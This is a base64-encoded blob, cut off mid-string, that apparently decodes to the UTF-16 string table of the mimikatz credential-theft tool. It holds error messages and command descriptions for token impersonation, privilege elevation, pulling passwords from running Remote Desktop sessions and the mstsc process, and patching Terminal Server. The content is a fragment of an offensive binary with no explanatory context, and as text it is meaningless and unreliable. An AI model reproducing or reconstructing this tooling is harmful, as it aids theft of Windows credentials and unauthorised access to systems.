gAAAFQAeQBwAGUAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgA6ACAAJQBzAAoATgBhAG0AZQAgACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABOAGEAbQBlACAAIAA6ACAAJQBzAAoAAABUAHkAcABlACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AOgAgACUAcwAKAFMASQBEACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFMAaQBkAEQAbwBtAGEAaQBuAEYAcgBvAG0ATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIAAvAHMAaQBkACAAbwByACAALwBuAGEAbQBlACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAACgAgACAAIABbACUAdQBdACAAAABzAEkARABIAGkAcwB0AG8AcgB5AAAAAAAgACgAIAAlAHMAIAAtAC0AIAAlAHMAXAAlAHMAIAApAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAE4AbwAgAHIAZQBzAHUAbAB0ACEAIAAtACAAZgBpAGwAdABlAHIAIAB3AGEAcwAgACcAJQBzACcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAoAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQA9ACUAcwApAAAAKABvAGIAagBlAGMAdABTAGkAZAA9AAAAXAAlADAAMgB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAC8AcwBhAG0AIABvAHIAIAAvAHMAaQBkACAAdABvACAAdABhAHIAZwBlAHQAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAZQB4AGkAdAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAGMAbABzAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAGIAYQBzAGUANgA0AAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABsAG8AYwBhAGwAdABpAG0AZQAAAAAAAABEAGkAcwBwAGwAYQB5AHMAIABzAHkAcwB0AGUAbQAgAGwAbwBjAGEAbAAgAGQAYQB0AGUAIABhAG4AZAAgAHQAaQBtAGUAIAAoAE8ASgAgAGMAbwBtAG0AYQBuAGQAKQAAAAAAaABvAHMAdABuAGEAbQBlAAAAAABEAGkAcwBwAGwAYQB5AHMAIABzAHkAcwB0AGUAbQAgAGwAbwBjAGEAbAAgAGgAbwBzAHQAbgBhAG0AZQAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAAAAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAEIAeQBlACEACgAAADQAMgAuAAoAAAAAAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdABJAG4AcAB1AHQAIAAgAGkAcwAgACUAcwAKAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdABPAHUAdABwAHUAdAAgAGkAcwAgACUAcwAKAAAAAAB0AHMAcABrAGcALgBkAGwAbAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAANgA0AAAAAAA4ADYAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADIALgAwACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAZgB1AGwAbAAAAAAAJQBzAAkAOgAgAAAAJQBoAHUALgAlAGgAdQAuACUAaAB1AC4AJQBoAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AdgBlAHIAcwBpAG8AbgAgADsAIABWAGUAcgBRAHUAZQByAHkAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAHYAZQByAHMAaQBvAG4AIAA7ACAARwBlAHQARgBpAGwAZQBWAGUAcgBzAGkAbwBuAEkAbgBmAG8ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGMAYQBiAAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA4ADYAXwBzAHkAcwBmAGkAbABlAHMAXwAlAHUAAAAAAEMAQQBCADoAIAAlAFMACgAAAAAAIAAtAD4AIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AdgBlAHIAcwBpAG8AbgAgADsAIABQAGEAdABoAEMAbwBtAGIAaQBuAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAHYAZQByAHMAaQBvAG4AIAA7ACAARwBlAHQAUwB5AHMAdABlAG0ARABpAHIAZQBjAHQAbwByAHkAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwB2AGUAcgBzAGkAbwBuACAAOwAgAEcAZQB0AFMAeQBzAHQAZQBtAEQAaQByAGUAYwB0AG8AcgB5ACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEMAdQByADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABMAG8AYwBhAGwAOgAgAAAAWgBvAG4AZQAgADoAIAAlAC4AMwAyAHMACgAAAFUAVABDACAAIAA6ACAAAABMAGkAcwB0ACAALgAuAC4AAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAATgBPAE4AXwBWAE8ATABBAFQASQBMAEUAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAABLAGkAdwBpAEUAZgBpAFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAdwBoAG8AYQBtAGkAAAAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACoAIABUAGgAcgBlAGEAZAAgAFQAbwBrAGUAbgAgACAAOgAgAAAAbgBvACAAdABvAGsAZQBuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAdwBoAG8AYQBtAGkALgBlAHgAZQAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAZQBuAHQAZQByAHAAcgBpAHMAZQBhAGQAbQBpAG4AAABsAG8AYwBhAGwAcwBlAHIAdgBpAGMAZQAAAAAAbgBlAHQAdwBvAHIAawBzAGUAcgB2AGkAYwBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgACAAJQBjADoAWwAlAGMAJQBjACUAYwAlAGMAJQBjACUAYwAlAGMAXQAgAAAAJQBzAFwAAABBAG4AbwBuAHkAbQBvAHUAcwAAAEkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAHsAJQB4ADsAJQAwADgAeAB9ACAAAAAAAC0AIAAAAAAAJQBjACAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAgACAAIABQADoAWwAlAGMAJQBjACUAYwAlAGMAXQAgACAAIAAgAAAAewAlAHgAOwAgACUAMAA4AHgAfQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AZABpAHMAcABsAGEAeQBBAGMAYwBvAHUAbgB0ACAAOwAgAEwAbwBvAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIAB0AHIAeQAgAHQAbwAgAGcAZQB0ACAAcABhAHMAcwB3AG8AcgBkAHMAIABmAHIAbwBtACAAcgB1AG4AbgBpAG4AZwAgAHMAZQBzAHMAaQBvAG4AcwAAAG0AcwB0AHMAYwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHQAcgB5ACAAdABvACAAZwBlAHQAIABwAGEAcwBzAHcAbwByAGQAcwAgAGYAcgBvAG0AIABtAHMAdABzAGMAIABwAHIAbwBjAGUAcwBzAAAAAAB0AHMAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAEMAbwBuAG4AZQBjAHQAUQB1AGUAcgB5AAAAAABTAGgAYQBkAG8AdwAAAAAARABpAHMAYwBvAG4AbgBlAGMAdABlAGQAAAAAAEkAZABsAGUAAAAAAEwAaQBzAHQAZQBuAAAAAABSAGUAcwBlAHQAAABEAG8AdwBuAAAAAABJAG4AaQB0AAAAAABSAGUAbQBvAHQAZQAgAHMAZQByAHYAZQByADoAIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AcwBlAHMAcwBpAG8AbgBzACAAOwAgAFcAaQBuAFMAdABhAHQAaQBvAG4ATwBwAGUAbgBTAGUAcgB2AGUAcgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUwBlAHMAcwBpAG8AbgA6ACAAJQBzACUAdQAgAC0AIAAlAHMACgAgACAAcwB0AGEAdABlADoAIAAlAHMAIAAoACUAdQApAAoAAAAgACAAdQBzAGUAcgAgADoAIAAlAHMAIABAACAAJQBzAAoAAAAgACAAQwBvAG4AbgAgADoAIAAAACAAIABkAGkAcwBjACAAOgAgAAAAIAAgAGwAbwBnAG8AbgA6ACAAAAAgACAAbABhAHMAdAAgADoAIAAAACAAIABjAHUAcgByACAAOgAgAAAAIAAgAGwAbwBjAGsAIAA6ACAAJQBzAAoAAAAAACAAIABhAGQAZAByADQAOgAgACUAcwAKAAAAAAAgACAAYQBkAGQAcgA2ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwBzAGUAcwBzAGkAbwBuAHMAIAA7ACAAVwBpAG4AUwB0AGEAdABpAG8AbgBFAG4AdQBtAGUAcgBhAHQAZQBXACAAZwBhAHYAZQAgADAAIAByAGUAcwB1AGwAdAAgACgAbQBhAHkAYgBlACAAYQBjAGMAZQBzAHMAIABwAHIAbwBiAGwAZQBtAD8AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHMAZQBzAHMAaQBvAG4AcwAgADsAIABXAGkAbgBTAHQAYQB0AGkAbwBuAEUAbgB1AG0AZQByAGEAdABlAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHMAZQBzAHMAaQBvAG4AcwAgADsAIABOAG8AIABzAGUAcgB2AGUAcgAgAEgAQQBOAEQATABFAAoAAAAAAEEAcwBrAGkAbgBnACAAdABvACAAYwBvAG4AbgBlAGMAdAAgAGYAcgBvAG0AIAAlAHUAIAB0AG8AIAAAAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAAAJQB1AAAAAAAKAAoAPgAgAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAgAHQAbwAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHIAZQBtAG8AdABlACAAOwAgAEIAYQBkACAAcABhAHMAcwB3AG8AcgBkACAAZgBvAHIAIAB0AGgAaQBzACAAcwBlAHMAcwBpAG8AbgAgACgAdABhAGsAZQAgAGMAYQByAGUAIAB0AG8AIABuAG8AdAAgAGwAbwBjAGsAIAB0AGgAZQAgAGEAYwBjAG8AdQBuAHQAIQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAcwBfAHIAZQBtAG8AdABlACAAOwAgAFcAaQBuAFMAdABhAHQAaQBvAG4AQwBvAG4AbgBlAGMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwByAGUAbQBvAHQAZQAgADsAIABBAHIAZwB1AG0AZQBuAHQAIABpAGQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAIQAhACEAIABXAGEAcgBuAGkAbgBnADoAIABmAGEAbABzAGUAIABwAG8AcwBpAHQAaQB2AGUAcwAgAGMAYQBuACAAYgBlACAAbABpAHMAdABlAGQAIAAhACEAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AHMAXwBsAG8AZwBvAG4AcABhAHMAcwB3AG8AcgBkAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABzAF8AbABvAGcAbwBuAHAAYQBzAHMAdwBvAHIAZABzA